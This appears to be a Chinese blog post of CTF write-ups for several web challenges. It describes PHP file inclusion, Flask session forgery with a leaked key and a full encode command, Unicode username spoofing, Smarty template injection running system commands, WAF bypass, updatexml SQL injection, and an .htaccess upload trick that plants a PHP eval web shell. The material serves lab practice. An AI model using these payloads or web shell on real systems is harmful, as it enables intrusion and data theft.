[HCTF 2018]WarmUp
php中的文件包含漏洞:?(不存在的目录)/../
即为当前目录
在传入payload的时候对?进行二次URL编码
[HCTF 2018]admin
https://www.jianshu.com/p/f92311564ad0
https://www.leavesongs.com/PENETRATION/client-session-security.html
发现源码泄露(Github),查看源码,发现是基于Flask框架的网页应用。审计route.py查看其修改密码的原理发现其只需要验证session中的username就可以修改。而Flask中的session类似于jwt,是将用户信息加密后直接存储在cookies中,于是可以尝试伪造session。
三种解法:
- session伪造:在config中可以直接找到密钥,再利用https://github.com/noraj/flask-session-cookie-manager来进行编码解码即可。
python flask_session_cookie_manager3.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'788dc057f7e92d1118ddf778e2a50872613d5b6542191b592f3832088556a6b873838e827fea3962bb6208862381e67f253607e0711561981944a8904882a602', 'csrf_token': b'4fab5875f365122d51e519d77c826d2f24a46157', 'image': b'Df1w', 'name': 'admin', 'user_id': '11'}" .eJxFUE1vgkAQ_SvNnD2UFS4mHkyWEkxmCGao2b0YBQQW1yagETD-9662aa_vvXkfc4fdsSv7GhaX7lrOYNcUsLjD2wEWQFPl6whvxIUlkQVo0wE5dNjG0pT7mtc18cqnKRbI1NI2FsTpiNwOyjz1akokjigrnzgTinWTyPyJudtqJKFPijEgs26UUT86Ezv-40SmsGiyicxqrnk1d7kemTBIZBiQ3NSJbG_k9GhDgTJewmMGed8dd5evtjz_T4h07aq4ip8WJ-Uhx6OW2aA5G5JtOieBPhrduqojReG7i_DotnzZNXZflX9Om0gNxS9z3ltHwL6wzRlmcO3L7vU38Dx4fANn5Gva.XxO4XQ.ttm_eyd619g9tC3YHZ6iq0hx13s
- Unicode欺骗:在注册和充值密码的时候,各用了一次Twisted的
nodeprep.prepare
函数,早期版本的这个函数会造成Unicode安全漏洞,这里在注册的使用ᴬdmin这个用户名,在注册的时候会变成Admin,重置密码的时候就会变成admin了。 - 条件竞争:代码见原链接
[BJDCTF2020]The mystery of ip
Burp修改xff头,将ip变更为{{1+1}}发现回显为2,说明存在SSTI,尝试后发现是Smarty的SSTI,于是直接传入{{system('命令')}}即可。
[RoarCTF 2019]Easy Calc
查看源代码,提示有waf
进入calc.php,尝试传参,发现会被waf限制,于是利用php在解析变量的时候会自动去掉变量名的空格,于是直接传入?(空格)num=参数,就可以bypass waf
之后使用var_dump+scandir+chr绕过引号检测,转换代码:
<?php $str='/f1agg'; for($i=0;$i<strlen($str);$i++){ $ret.='chr('.strtoupper(ord($str[$i])).').'; } print $ret; ?>
[极客大挑战 2019]HardSQL
fuzz了一下,例如and和空格都已经被过滤掉了,只能报错注入,尝试extractvalue失败,于是使用updatexml:
由于updatexml的返回值有长度限制,在这里substr都被ban了,只能用骚操作left()和right()了
[MRCTF2020]你传你🐎呢
一开始上传几个jpg都提示不行,还以为题目坏了,后面发现是题目对于文件大小有限制。只要content-type是image/jpeg,文件拓展不包含php和phtml,文件内容不包含<?php即可成功上传,于是这题考虑改.htaccess,先上传.htaccess:
<FilesMatch "crack.jpg"> SetHandler application/x-httpd-php </FilesMatch>
之后上传crack.jpg:
<script language='php'>eval($_REQUEST[c]);</script>
之后就可以连接shell了,发现system命令已经被disable掉了,于是尝试readfile('/flag');
成功
Comments | NOTHING